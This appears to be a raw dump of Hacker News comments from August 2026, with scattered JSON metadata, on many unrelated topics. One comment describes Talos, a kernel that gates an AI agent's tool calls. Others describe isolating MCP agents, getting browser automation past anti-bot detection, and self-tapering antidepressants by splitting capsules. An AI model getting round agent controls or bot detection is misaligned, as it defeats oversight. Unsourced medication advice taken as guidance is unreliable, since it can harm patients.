I've also added a Blueprint feature, these are reusable automations (you can contribute with a PR on https://github.com/puppetflow/library. I'd love to make it easy for people to share useful browser workflows instead of everyone reinventing the same stuff and building a true community with these blueprints.
Another early decision is that I didn't want to make it AI-first. There are places where AI is genuinely useful but it's not always what you need, it's expensive, slow and unpredictable. I usually prefer a deterministic approach because it's way easier to debug when it goes wrong, and it will. But I like to move with the times, so I added the ability to connect a model and either talk to it directly or just hand it control of the browser.
All these are the shiny parts, but oh boy! That journey was quite something. A few parts turned out to be much more painful than I expected, like the real-time live view, keeping the UI in sync while a run is happening was challenging a lot and I really want to know how competitors are handling this, I'm listening folks.
The second pain is obviously preventing the flow to be stopped by anti-bot measures. For that I'm going to be experimenting with things like fingerprint-chromium (https://github.com/adryfish/fingerprint-chromium), making browser automation reliable against increasingly aggressive bot detection is a whole problem of its own I can't handle all by myself.
Under the hood the browser part is Puppeteer, backend is Laravel, frontend is vanilla React and InertiaJS. I like boring technologies and I think it's fine enough.
I'm sharing it now because I've reached the point where my use cases aren't enough. After working on the same product for so long, it's very easy to become blind. If you use Puppeteer, Playwright or browser automation in production, I'd really like to know how you make it work today. What's failing? How do you troubleshoot it? And if you try Puppetflow, what feels unnecessary or wrong?
I have so much more to say, but let's keep it short for now.

The APIs haven't changed much since the Carbon->Cocoa transition 25 years ago, and SwiftUI (but that's optional). The impact of app sandboxing on developers was small - and sandboxing is universal on macOS now, there are only different levels of sandboxing but no such thing as unsandboxed apps anymore.
Apple's introduction of sandboxing to an app ecosystem designed without it was a masterclass in OS design that goes unappreciated in our industry. Nobody else pulled that off. It's no exaggeration to say that macOS is the most secure desktop OS by a long way, it's not even close. Linux trails far behind in third place. They achieved this via:
• Extremely long term planning (multi-decade timescales).
• Extremely good systems design.
• Incremental change, so developers always had a digestable chunk of work at any given point. The work needed was smeared out over decades, not drop-kicked onto people in ways that left them flailing.
• Good developer relations work to ensure devs got help quickly if they hit issues.
At no point has Apple's security team had to change course, reverse a prior decision, redesign a subsystem or fail to meet their goals. Everything has slowly clicked together so smoothly most people, even devs, didn't even notice it happening.
The sad thing is, the engineers who pulled this off are largely unknown. The head of Apple Security came from the One Laptop Per Child project and deserves a lot of credit, but much of the careful detailed design that makes the Apple security architecture work is done by unsung heroes.

I think what they are doing is pretty strategic, especially given the relatively limited money they have.
There's basically two sides to funding software that are actually rather different
1. Accelerator phase: getting the software to a point where it can reasonably replace some foreign closed source enterprise option (i.e. feature devlopment). This sort of thing is often highly speculative. It should be project based, with concrete deliverables, and done with a non-permanent grant. If things go reasonably well, then there can be followup grants. This is what the STA focuses on, and is a major gap in the FOSS world.\n\n 2. Established phase: Once the software is actually ready for adoption (thanks to help from the STA!), and gets integrated into government functions, then the agencies that *use* the software should be setting up enterprise support contracts that give long-term support and stability to the projects they've adopted. A good example of this would be Nextcloud who has multiple such contracts with different parts of Germany (also other European organizations). This part is better off being done by the agency that *uses* the software, rather than having the STA do it. Some of these agencies do in fact also have internal software developers that work on Nextcloud.\nThe STA is basically trying to fill the role that venture capital plays in getting a startup ready to take on customers, except the STA doesn't take an ownership stake, and they focus on FOSS.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49476383"} {"by": "netsharc", "comments": 0, "created_at_utc": "2026-08-28T09:37:29Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49476384", "item_id": 49476384, "kids": [], "parent": 49472226, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "I googled "web page as screensaver", saw results for Windows.

The idea here is Optimus-type robots that can do everything like a human and therefore don't need special infrastructure, as opposed to dedicated, immobile low-torque, low-velocity robots specifically for, say, laundry.
You can layer a safety system on top of the raw motor control but it's very complicated to define what is and isn't safe, especially when you consider what the robot is holding (and what it THINKS it is holding), where the robot is (or thinks it is) at the time, what is around it (what it thinks is about it) and so on.
Which isn't a robot-specific problem. Humans spend years learning how to subconsciously safely interact with their environment and even then fuck it up sometimes.

As long as there are large corporate multinationals, there will be a need for finance, economics and yes, even management. Are a lot of that studies fugazi? Sure they are, but so are a lot of startups.
If everyone coming out of academia would be startup-like, corporations and other businesses simply wouldnt have the workforce for their machinery, and then some big shoot CEO would write blogs how Universities Should Prepare White Collars.

Similarity search is rarely that relevant when working on codebases. Our biggest learning actually came from an accidental technical bug where indexing had been returning zero hits for quite some time, and we barely noticed any performance degradation.

That's still vertical integration, you're just looking down the tube from the wrong end.
Suppose a company that sells PCs also makes CPUs. That's obviously vertical integration, right? CPUs are part of the supply chain for PCs. Likewise if they make SSDs.
But CPUs and SSDs are also complementary goods. They're both sold to PC OEMs in order to produce the downstream product, or end customers when they build their own PC or want to upgrade a component or two.
Entering both of the complementary markets is vertical integration because the obvious reason for a company to do it is to integrate the separate goods into a single offering:

Is it equal to good Italian trattoria or Pizzeria da Michele in Napoli, well oviously not. But for the price and speed and, well, hygiene, it was pretty ok.
However, the economics of the place are what I questioned even then. Would I go there for any reason except curiosity? No, not really, I prefer to have a pizza date in a real restaurant. Also those robots cost according to the article upwards of $100k, to which you must add power and maintenance, you can hire quite a few pizza chefs with that money. So not only it need to be faster and better than your average pizza baker - the most time of making the pizza is the time it spents in the oven, which is also critical - it needs to brimg in crowds as well in order to be profitable.
So yet again this seems to me a dumb way to use automation and robotics.

I think KYAML[1] is very relevant here. KYAML is a strict subset of yaml[2], supported natively by kubernetes tooling in most recent versions.
In my opinion it's closer to JSON with comments than to YAML, but overall it looks like a pretty nice format, that solves some of pain points of both technologies. This is not the first nor the only JSON-with-comments format, so I wonder if it manages to break out of kubernetes world and become popular.

When I suggest a tax on holding cash, hardline communists will argue along this insane line of thinking "this will impact workers the most because they are holding most of their net worth in cash". Ah yes, the capitalist worker, fighting for his capitalist interests. Amazing. What was the class struggle about again? Blaming others and absolving yourself of your own responsibility to fix this mess of an economy? Great, you are the problem!
Any remotely sane person siding with workers would realize that workers have an asset known as their own body including the associated lifespan of that body and this is an asset that is producing a future income over time. This asset is illiquid and completely exempt from a money based tax, but if you were to introduce a true wealth tax on all physical capital, the government would not be in the wrong if it assessed the "net worth" of your body and taxed you accordingly. So the ideology of taxing property directly is inherently a tax on labor and therefore not much different from a capitalist taking a cut from your labor. Meanwhile the tax on holding money is purely a tax on a passthrough asset that nobody should hold significant quantities of to begin with. In a hypothetically perfectly optimized society, nobody pays that tax because the transient money supply is zero, that's very different from a tax that grows indefinitely.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49476659"} {"by": "written-beyond", "comments": 0, "created_at_utc": "2026-08-28T10:19:45Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49476660", "item_id": 49476660, "kids": [], "parent": 49474353, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Thank you for this!

Ten months later they're selling the entire company to Nvidia for $12.9B. So much for not wanting a dominant investor ...
I pull weights from HF most weeks (Ollama, ComfyUI etc) and I suspect Nvidia aren't paying 86x revenue for a file host. They're paying for the fact that every README, notebook and workflow on the planet has a hardcoded huggingface.co path in it. It's the npm/PyPI of AI, and now the company that sells the GPUs also owns the registry that decides which models are easy to find and download
I don't think Nvidia will start deleting models. They don't need to. They just need to make sure the models that run best on CUDA get promoted, and the ones that run well on a Mac or an AMD card (or the "abliterated" finetunes) quietly get less visibility. Nvidia have plenty of form for this kind of segmentation (e.g. removing NVLink from consumer cards after the 3090).

It's interesting that there was a change even in that area in the last century and specifically the last decades.
I think it was always contested if animals have something like a consciousness (or "soul") at all. On the one hand, animals were often used as stand-in for humans in fables, etc - on the other hand, there was the widespread view that they are mostly automatons driven by instinct. If an animal behaved too smart, people were more likely to find a supernatural explanation (it's a disguised god/spirit/etc) than accept that an ordinary animal could do that.
The debate really only shifted in the last decades with scientific evidence for (some) animal cognition coming in.
On the other hand, humans always seemed to have a tendency to attribute consciousness (or at least "worthiness of care") to supernatural entities or even landscape features.
I think most cultures always had a whole world of conscious, non-human entities, they just ignored the ones that mighy actually be conscious.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49476732"} {"by": "krystalgamer", "comments": 0, "created_at_utc": "2026-08-28T10:33:09Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49476733", "item_id": 49476733, "kids": [49477242], "parent": 49473225, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "you can create slop that matches, they're called "fake matches". it's basically when you coerce the compiler to output what you want and then the source looks unrecognizable.

There are practical problems to solve, but they CAN be solved.
In contrast, how can you make sure that the actual payload code hasn't been tampered with? It is written in a high-level language, but it gets stored and viewed on devices that have backdoors in their CPU microcode and huge OSes that can hide god knows what. The author can sign the code, but that doesn't tell anything other than it was really the author who signed it and the code hasn't been modified afterwards -- if the author's system was compromised, the code can contain backdoors before being signed. So you need to validate the (signed or not) code to be correct, but you're doing so on an untrusted system. It goes on and on.
You'd probably need the code to be verified, then signed, by a trusted party on a trusted system. THAT signature then means the payload hasn't been tampered with, and can be trusted after it gets built on your trusted system (and this is where the bootstrap problem happens, and gets solved).
All this is obviously still glossing over the problem how to obtain hardware you can trust.
...edit: But if you have all that, then you don't need a complex bootstrapping anymore. A trusted actor can verify, or even build, a trusted system by hand on trusted hardware, sign it, and then you can use that (binary!) as long as you run it on your own trusted hardware and verify the signature first.

For example, we never had time to learn well for example CI/CD in my years.
It's something that takes time to build (feedback loop is around 10 to 20 min for pipelines, instead of 1 min when coding something), and become quite costly for trial and error in term of time.
But it's now 60% of my work as DevOps Engineer, and a big part of other devs/lead devs work. They are a lot of good and bad practices.

Sometimes that's like the math confusion meme where it's "floating in front of my eyes" (mentally, internally) in the "void", sometimes I'm literally imagining in my minds eye doing the math at a desk on notebook paper with all the feedback that comes with it. Sometimes I use a mental TI-84/89 to do the math, or this one calculator I had when I was a kid. It's usually paper though. Many times I apply a synesthetic association to a number, be it textural, color, attitude, or "shape".
However, I also have the ability to mathematically evaluate an equation and graph it on a mental visualization of a graph. I've been able to do that in 2d and 3d for a range of quadratic, cubic, and quartic graphs since high school. Also asymptotes, hyperbolas, sinusoidal functions. You know those youtube videos where they do the CGI animations to show a rolling cylinder tracing out a sine wave? I've been able to do that in my mind since I was a teen.
In high school I would do calculus rate of change functions in my head with a visualization like a laser going from perpendicular to a wall to parallel with the wall, and how the speed of the point at the end of the beam on the wall approaches light speed as the beam approaches approaches parallel, or the shrinking surface area of a liquid in a vertical conical funnel.
The funnel i imagined is yellow with an equilateral cone and a long neck that tapers to a half inch and has a worn, wrinkled blue white and red sticker from being run through the dishwasher a few times. It's injection molded and not shaved/sanded. Excessive detail for a feature of a math problem, but it's there anyway.
For me a spinning cow can have horns or be a holstein heifer or an angus steer or a dairy calf, or a buffalo. Could be a chik fil a cow. Or the one from Barnyard...right, Barnyard? the Dreamworks movie...
I can go back and read pages of books and documents that I have already read in my mind, which means (with effort) I can retread any sheet music I've ever played, or redo the math that I did in calculus and chemistry and physics classes. For a long time it completely ruined re-reading books for me because I would know exactly what was coming and I didn't need to turn the page.
I used the sheet music thing to teach myself guitar based on what I learned on trumpet through recall of arpeggios and and scales.

I have been pondering this and have come out with a single statement. It allows you to create the missing piece in the art you want to create. Assets for games, music for the lyrics you wrote, or just a whole song to justify a crazy dance you want to do. Whenever AI art is discussed, people tend to be so purist about art. One person cannot do everything in a project they take on to express themselves. Usually people come back with then get someone else to do it for you. I think that is an economic argument as people are trying to protect artist pay. I get that.

Modern editors make this a non-issue. I use both Python and YAML fairly regularly, both have significant whitespace, and I don't have any issues with either.
Also, because YAML doesn't involve things like curly braces all over the place, it's actually notably less friction to type rapidly by hand than something like JSON. I don't think YAML is amazing or anything like that but I do find myself nowadays preferring it, for config at any rate, over JSON.

I'd find a video I wanted to learn from, hear a useful sentence, and then realise that turning that sentence into something I could study later was both time consuming and draining at times.
I would end up jumping between a video player, subtitles/transcription, a dictionary, screenshots, audio clips and Anki. So I built SubSmith to bring that workflow together.
You can drop a video or audio file into it, generate a transcript locally and then use the transcript alongside the media to:
* look up words and sentences\n* replay individual lines\n* edit the transcript\n* save useful sentences with their original context/audio\n* export them as Anki cards
The important part for me is that it works with your own media. It isn't tied to a particular streaming service or library, so I can use the random anime episode, podcast, lecture, etc. that I'm actually interested in studying.
It's an offline-first desktop app, and transcription happens locally rather than sending the media to a transcription API.
I'm sharing it here because I'm now more interested in finding out where this workflow breaks down for other people rather than adding features randomly now that I have solid core/base.
For example:
* Would you actually save sentences from your own media?\n* Which part of this process feels like too much work?\n* Does having the audio/context attached make creating an Anki card more useful?\n* Would you prefer this to work inside your existing video player/browser?\n* Is installing a desktop app a significant barrier?\n* And does requiring an account before starting the free trial make you give up?
The current version does require an account to start the trial, and I'm trying to work out whether that's meaningful friction for the people who would actually use this.
It's free to try, and I'd particularly appreciate feedback from people who already learn languages through their own videos, anime, films, podcasts or other media.
I'm the developer, so I'll be around in the comments to answer questions and discuss how it works.

can you give some idea on if and how your model reason about visual bugs though? this is where i find human testing to be more logical. what if a buton click flickers the button instead of 1 time lightup and darken? can it see all the frames and catch it?
this seems where i think a lot of effort is likely still going to be spent so if in some what it could get a description from the code or a person and then reason correctly about visual behaviors in the game.
another tricky area is mandatory testers for appstores. those you can trick perhaps using your AI into thinking someone is testing it really but i am not sure if it would be against their terms...

I only played a little, but it is clear that this game strongly prefers tight extending connections. In go terms “territory.” I am not clear if ‘influence’ is as useful a concept here; it seems very strong to make tight connections.
One of the many things that make go great is that a range of moves in relation to other stones provide a set of trade offs - more certain connection but less total influence / future territory ‘claimed’ - I’m not clear your variant has this. If so, it would be really useful to explore these move sets and give the player some basic tutorials about them. If it doesn’t, then I humbly suggest you change the rules so that it does. Perhaps tight groups can extend their ‘non placement’ range a little more, or extend their distance at which they connect up to a lone stone?

But the point is that business will adapt to pretty much any regime to various degrees if it is predictable. The US used to be predictable. Now it's increasingly looking unpredictable, and that could potentially become a much bigger problem than any specific policy Trump puts in place.
(For an extreme example, compare China under Mao and under Deng: Both periods saw lots of year on year growth, but under Mao there were cataclysmic resets whenever there were political upheaval before rapid growth eventually resumed and those resets massively harmed the long term growth average; more than Deng's economic reforms, the biggest change was a long period of predictability)", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49476945"} {"by": "someothherguyy", "comments": 0, "created_at_utc": "2026-08-28T11:07:20Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49476946", "item_id": 49476946, "kids": [49481653], "parent": 49476617, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "if the substance has good water solubility, you can do this by dilution, measuring volume, without a scale.

All three dark triad traits are believed to be conceptually distinct, although empirical evidence shows them to be overlapping. They are associated with a callous–manipulative interpersonal style.[8]\n\n Narcissism is characterized by grandiosity, pride, egotism, and a lack of empathy.[9]\n\n Machiavellianism is characterized by manipulativeness, indifference to morality, lack of empathy, and a calculated focus on self-interest.[10][11]\n\n Psychopathy is characterized by continuous antisocial behavior, impulsivity, selfishness, callous and unemotional traits (CU),[12] and remorselessness.[13]\nManga creators work solo or duo and can’t get critical feedback from public, but editors are too busy and expensive to hire.
So we made this AI editor with manga editors who used to work at major Japanese manga publishing firms. As a result, creators can get reliable feedback in minutes to reiterate and make their works better at the earliest stage of creation.
This will lead into us becoming publishers ourselves and be able to pay the creators a larger share of revenue than it is now. Currently the creators only get 8-10% of the sales of manga when serialized with other publishers. And if that spins off to anime/merch/games/etc. they get only few percent and sometimes even none.
I will leave link here so you guys can check it out and feel free to give me any feedback or questions. https://m2w.ai/ I know most of you are not manga creators but we also have story builder function so you guys can create your own manga story as well.

Yeah, god forbid they drive right down the middle of the lane rather than drive right up to the line of what the public will tolerate.
There is a direct causative line between government actors feeling like they can get away with unpopular things and the populist politics we've had brewing in this country for the past 20yr. The tea party, the Bernie bros the ron paul era libertarians, even MAGA, they were all ultimately captured by the establishment.
The establishment wielding progressive (lowercase p) types would do well to understand that on some level you, the peddlers of government, must cater to the demands of the people, because if you don't eventually the pressure will build until a populist movement you cannot contain comes around and stomps you.

Also, some people might eliminate a drug faster than others, so the result is surely harder on some that others.
Doctors that tells you how to reduce the SSRI/SNRI are following what's available on the market, and generally the gap between doses is always huge and gives a big gap and so bigger withdrawal. Once I asked to a pharmacist if he could make smaller doses and he answered me to be like a good junky and open the capsules and cut them myself. I was a bit shocked at the moment, but at least it costs me less that him having to do it a that helped me greatly to reduce a SNRI without feeling too much symptoms.
So a good advice, is look at the half-life of the drug you are taking, and be a good junky and split the capsules or have liquid form to reduce by small amount.
Half-Life of Specific SSRIs
- Fluoxetine (Prozac): 4 to 6 days, with its active metabolite norfluoxetine lasting 7 to 16 days.
- Sertraline (Zoloft): Roughly 22 to 36 hours.
- Citalopram (Celexa): About 36 hours.
- Escitalopram (Lexapro): About 27 to 32 hours.
- Fluvoxamine (Luvox): 17 to 22 hours.
- Paroxetine (Paxil): About 21 to 24 hours.
Half-Lives of Common SNRIs
- Venlafaxine (Effexor): About 5 hours for immediate-release (extended-release has an effective transit/clearance profile, though parent half-life remains short); its active metabolite (desvenlafaxine) has a half-life of about 11 hours.
- Desvenlafaxine (Pristiq): About 11 hours.
- Duloxetine (Cymbalta): About 12 hours (range of 8 to 17 hours).
- Levomilnacipran (Fetzima): About 12 hours.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49477049"} {"by": "Narishma", "comments": 0, "created_at_utc": "2026-08-28T11:24:42Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49477050", "item_id": 49477050, "kids": [], "parent": 49472899, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "> I think a lot of the value of a total rewrite in C is that it is a buildable executable that should be runable on virtually any system

In my early days I wrote some javabean mapper framework but it wasn't liked by my peers becaused it was driven by XML. Back then EJB, Struts, and many web/enterprise frameworks used XML for config, so it was a no brainer to continue the trend. However the DX of XML in Java wasn't that great I have to admit. This is what made Spring so successful with its annotation-driven approach to config: you can annotate directly in the code, no need to manually create or edit XML files.
Clojure does not have this issue at all: XML easily translate into clojure data structures, and vice-versa, and from there you no longer feel any pain. I find it ironic that for a language in which data is code and code is data, you need to revert to java to integrate with annotations which is metadata added to code.
I guess the fundamental question is: do we want clojure to develop a parallel story for enterprise development, or do we want to improve clojure for better integration with enterprise frameworks. Back to slipway: what do you think can be done on the clojure side to make the slipway integration story easier to reproduce for other enterprise frameworks? I doubt the JDK will change for us so best is for us to adapt as much as possible (despite such conclusion [0]).

And some businesses have long opted for minimum transaction amount for credit purchases.

They may have higher margins that can easily eat the cost, and being card-only also decreases the attractiveness to robbers and discourages unbanked patrons.

I'm not doubting that it can be done on the small scale. I just dont think it can be done on any large scale. You kinda skipped over what I stated.
There isnt a way to distribution of shelter, food and storage on the scale required with the collapsing tech tree that will happen when UBI is across the board.
The same factory that creates the plastic extrusions for the dog bowl are the ones that make it for the compost toilet. (Yes, Ive used a real outback dunny), even that has a tech tree that is outside of the basic requirements you've understood.
This doesn't go into the issues that will happen when the tech and delivery tree of things as simple as insulin happen. Every parent I know is going to get back into those three jobs to save their kid, its not even a question.
I have serious concern that the "UBI will work" attitude will be successful, it sounds great short term and if we as a society adopt it, and it fails (it will) we've fucked humanity for the rest of time.
Unless every citizen in every country adopts it, those who maintain their military machine will dominate the rest of the planet so easily it would be finished up in a year.

* 58% had EVER held a paid job since leaving high school.
* About 42% had never worked for pay.
* Nearly 80% of those who worked were working part-time.
* Only about 21% had worked full-time in their current/most recent job.
* 19% had ever lived away from home independently

Severe stress and emotional trauma is also known to result in acquired aphantasia. It suggests that it maybe “software” not “hardware”.
I also learned recently that for most people there is a strong connection between mental visualization and emotional response. People with aphantasia may struggle with goal setting because they don’t get the emotional amplification that visualizing a future state provides. Another subset of people have normal visualization but have no emotional amplification. Visualizing a lost, cute puppy caught in the rain doesn’t elicit any emotional response even though their reaction to seeing an actual lost, cute caught in the rain would elicit an emotional response.

You are limited to one author per entry (but you get a bunch of plugins nobody maintains and constant bot attacks on your wp-admin), and every video had to go to YouTube because WordPress does not compress video.
So I wrote Texttile. Multiple people in the same entry at the same time, uploading and sorting photos AND videos, treated as first-class citizens.

Comments, newsletter and stats are built in and stay on your server.
There are no roles and no plugins on purpose. Everybody with an account is an admin. It is built for people who trust each other.
Try it out with a Demo: https://www.texttile.blog gives you a real blog for 24 hours, and you can keep it if you like. Our Mexico blog runs as demo data at https://demo.texttile.blog.

Alan Kay performs an improvisational avant garde layered audio feedback loop about Claude Shannon, live online during Kristen Nygaard's 100-year birthday celebration.
Alan was scheduled to talk about how encountering Simula sparked his early thoughts about objects. During setup, somebody had the live stream playing out loud near an open Zoom mic, so his own voice kept arriving back in his ears about 21 seconds late, over and over.
What he said was not random: "Shannon gave us a way of dealing with noisy channels." And: "I think about that almost every day. I realize what the fuck is going on and it's just so amazing." Shannon's noisy channel coding theorem is the math for exactly the kind of channel that was garbling him as he praised it.
Alan joked it was "being rerouted to Mars and back." At the speed of light, a 21 second round trip is about 3 million km one way -- eight trips to the Moon and back, not even a twentieth of the way to Mars at closest approach.
This is an accidental Zoom performance of Alvin Lucier's "I Am Sitting in a Room" (1969), where Lucier re-recorded his own voice in a room until only the room's resonance remained. Here what remains is the network: delay, compression, dropouts.
Bonus noise: YouTube's auto-transcript bleeps Alan's enthusiasm into [ __ ]. So the full chain is: Alan's voice, Zoom, stream, room, Zoom again times three, my screen recording, YouTube's speech recognizer, a censored transcript.
The fix: "Just turn off the audio at your end on Zoom."

The argument seems to take the leap from 'Ring is the wrong abstraction for what I want to do' (fair enough) and concludes 'Ring is inadequate, and therefore Clojure has a viability problem.'
Ring is explicitly designed to be web-server agnostic and therefore intentionally does not expose the full Jetty/Jakarta surface. Many using ring aren't using Jetty!
If your app requirements are specifically EE/Jetty-centric, then bypassing Ring may be entirely reasonable, but I don't see how that becomes an argument against Ring's design, much less against Clojure’s viability for enterprise applications...when enterprise means "serious business" not "Jakarta EE".
There are a few actual issues with Ring's design (that are in the issue tracker) I can think of when it comes to it's ability to express valid HTTP semantics. But "it doesn't OIDC" isn't one of them (that's sort of a category error?)
All that said... The charitable reading of "Clojure has a larger problem for its future [...] in which we can produce enterprise-grade web applications" is one where the "we" is limited to Derek's company/team, which yea, sounds like they need more Jetty/Java EE than Ring provides.

I think that depends how far you want to take the paranoia. In principle if you want that to be a secure signature that can't be forged, you're back to needing both hardware and software you trust to verify the signature. Hashing a large binary and verifying a signature on paper is wildly impractical.
If someone prints the code and claims they verified it, you could trust them. But if they give you a signed archive that you download and verify on your computer, you're back to square one. You would have to know your software and hardware isn't already backdoored, just to verify that the software you received isn't backdoored.
>A trusted actor can verify, or even build, a trusted system by hand on trusted hardware, sign it, and then you can use that (binary!) as long as you run it on your own trusted hardware and verify the signature first.
Your own trusted hardware AND software, because you're not going to be verifying that signature by hand, and you're not going to load the binary file in memory by hand, so either a kernel or system software (like UEFI) will be handling your trusted binary first.
But then you're back to needing a clean bootstrap again.

During a global catastrophe Australia would run out of fuel within a few months, fertilizer not long after that, and soon afterwards lose the ability to grow food let alone distribute it, or keep basic services running. The lights would go out because it has no capability or even wishful thinking to manufacture advanced electronics, precision parts, much in the way of plastics and chemicals to keep airplanes, trucks, cars, computers, communication, phones, power plants, transformers, railways, or tractors running. Basic antibiotics, anaesthetics, insulin, any kind of medical or surgical tools or technologies? Don't even bother. Most people who survived the initial waves of panic and looting and destruction would soon starve and freeze to death in the dark surrounded by coal mines and fields of wheat rotting where it lies.
Also, Australia is a strategic point in the southern Pacific and Indian oceans with submarine bases and communications, air bases, signals and radar stations. It was believed to be one of the countries targeted first by the Soviets after USA if it came to a nuclear exchange. The calculus might be a bit different with China today but Australia is not some neutral party that would escape unnoticed in the event of a world war.

If you want a system to be autonomous, you need constrained behavior. It takes a lot of time to debug and work out all edge cases. Flexible behavior is bound to run into trouble at some point.
I think that is the fundamental issue with the LLM-chatbot-agents stack approach to AI. It looks autonomous at the surface, but the flexibility is bought at the cost of reliability.

A record third of plug-in hybrids registered in July were made by brands like Chery Automobile’s Jaecoo, according to Dataforce.
Unlike with fully electric vehicles, Chinese plug-in hybrid models do not currently face additional tariffs, though they may soon also be hit with duties, Germany’s Handelsblatt has reported.
Chinese brands are anticipating higher tariffs by “pushing cars into the market”, according to Julian Litzinger, an analyst at Dataforce. “They do that via attractive pricing to retail and commercial customers, but especially rental companies,” he said.
Chinese carmakers led by BYD are reeling in European consumers with more affordable models at a time when household finances remain under pressure. They are also capitalising on lingering concern around going fully electric due to patchy charging infrastructure.
Affordability is a key factor. Earlier in August, Citi analysts led by Harald Hendrikse said that three quarters of Chinese sales in the EU are from MG owner Saic Motor, BYD and Chery, companies that tend to offer lower-priced models.
Consumers are also being less picky about a brand’s origin. In a survey by Bloomberg Intelligence, 38 per cent of people had no qualms about buying a Chinese marque.
European automakers are feeling the squeeze from Chinese carmakers’ advances on their home turf, especially with profits shrinking in China.
Volkswagen, Europe’s biggest carmaker, is pushing to cut costs, though those efforts are facing resistance from labour leaders. Other companies such as Stellantis are allowing Chinese automakers to share their factories to ease overcapacity in the region.
“Europe’s hybrid bias is opening a lower-tariff lane for BYD, Chery and other Chinese automakers to gain share unless the EU extends levies to plug-in hybrids,” said Bloomberg Intelligence analysts.
While Brussels has not commented on whether it is planning tariffs on hybrids, member countries are indicating an appetite for such duties.

one of my favorite results. It does not generalize as nicely to higher dimensions unfortunately.
If like the post you want the volume of a polyhedron you can use the three dimensional analogue of the shoelace formula (essentially equivalent).
Let Va, Vb and Vc be the vertices of a triangle ∆ of a triangulation of the surface. You need to name the vertices in a consistent order/orientation wrt the origin.
Then the volume V is the sum over all such triangles of the signed volumes
V_∆ = 1/6 Va ^ Vb ^ Vc.\nTo understand why this is so there's this beautiful short video

Either way, while this is true in the absolute, this is the value of building good MCP servers: they should expose only exactly the surface you expect your agent to need, and adding functionality should be carefully considered. The best MCP servers I use day to day (Cloudflare sticks out) do a really good job of exposing only what an agent might actually want to do on my behalf, rather than just all and sundry. Unfortunately the Chrome Dev tools MCP is less discriminating and is only as secure as a browser sandbox with full JS access (not fatal but not as strong as a well scoped REST API).
All of this is sidestepped somewhat by using good isolation primitives - I'm running a Hermes agent as of recently on a DigitalOcean VM that only accepts connections from my devices over tailscale, and it has all its own credentials so I can revoke them easily should they be used maliciously. Giving an agent root on a box is not _necessarily_ a huge deal, you just have to make sure that box has nothing valuable on it.

Of course everybody has different requirements when it comes to IPC and if a rich set of supported languages is the highest priority, then protocols like JSONRPC are a good option. But using such protocols for local IPC also has downsides, especially when the amount of data increases and the available resources are limited. This is where iceoryx2 has its strengths by utilizing shared memory for communication. We also split up the data flow from the control flow and one could send data to other processes without a context switch, in a way similar to what io_uring is doing. There is an upcoming blog post where we describe the possibilities shared memory enables compared to using sockets. I'll post it here once it is published.

I built Talos because I wanted to hand an agent a terminal without handing it my trust model. Every tool call (read, write, exec, delegate) passes a small deterministic kernel, ~645 lines of Python, that returns allow, needs-human or deny. Unattended runs can't ask, so needs-human becomes deny. The agent can never grant itself anything.
Around that kernel: 23 gated tools, a UID-separated worker for delegated code, MCP servers confined to that worker from an operator-owned registry (no marketplace, no third-party code in the agent process), a hash-chained audit log, Ed25519-signed updates verified before anything unpacks, and a read-only live dashboard that has no approve button, by design.
Numbers the CI enforces on every page of the site: 2063 tests, 179/179 adversarial cases, 645 kernel lines, 0 inbound ports. The site has a browser reimplementation of the policy kernel you can poke at without installing anything, a replayed real session, and an honest comparison to OpenClaw and Hermes — including what Talos doesn't have (breadth; that's doctrine, not backlog).
Happy to answer anything — especially the parts where the design is wrong.

To anyone considering this tool my advice is simple: First take a hard look at your processes and consider ways to become better at actually listening to your users.
I've filed countless bug reports over time. Some companies handle them with efficiency and gratitude. But I'm saddened at how many large corporations just lose them to the void - in some cases it becomes clear nobody gives a shit - and in other cases, it's despite the apparent best intentions of their support staff and developers. Eg. After finally managing to get the attention of an Amazon exec rep, a website bug I reported found its way to a developer. The bug was confirmed and both seemed genuinely grateful, but for whatever reason the bug still exists today - many months later - despite several "it should be fixed now" turnarounds. I can only guess their processes for testing and deploying a fix are borked.
Could you address this with an AI bandaid? Maybe. But in nearly every case I've seen - and I've consulted for decades in this space - it's a symptom of corporate culture or business process.

In some cases, I do not trust it to write code unchecked, and review everything it produces (which does not imply I catch all bugs, obviously).
In other cases, occasional failure is an option, and the speed you get by iterating fast is absolutely worth not even looking at the code.
So, do I trust this to write working code? Sometimes I do.
If I'm doing work for a client, it is not very common for me to simply vibe code something, because part of what clients expect of me is high quality (it's part of how we position ourselves), and I cannot simply assume the LLM will produce high quality (and indeed it does not without a lot of guidance). When I do vibecode in such cases, I make it clear that I did so and why (e.g. because it's a tool to be used in the project to help DX, not a core part of the product). Still, I haven't written 10 consecutive manual lines of code in almost a year.
If I'm working on something for myself, or on an internal product, then vibe coding is absolutely allowed and sometimes the norm. Here often we really do care about finding the right thing to build first.
You can clearly feel the tipping point where the LLM starts to crumble under the weight of the mess it has created, but that often doesn't matter when building an MVP for market validation or for small products that don't get particularly big. Plus, clearly the tipping point takes longer to reach with better and smarter models, and to me it is very clear that you need to learn how to iterate with LLMs right. The things I vibe-code now are much better than those I did before, even with similar models, because the tooling and approaches (the "real harness" and my "mental harness") are better. As with any tool: it takes practice to know how to use it, and if you're a good engineer and problem solver, you are miles ahead of the competition. Anyone can vibecode, but those with this kind of mind seem to be much more successful.
Nowadays I do produce a lot more than I used to, but I also have much more fun, perhaps only surpassed by when I learned how to code when I was a kid. A big chunk of this comes from my very privileged work position, where I get to call so many of the shots, and I'm aware of that.
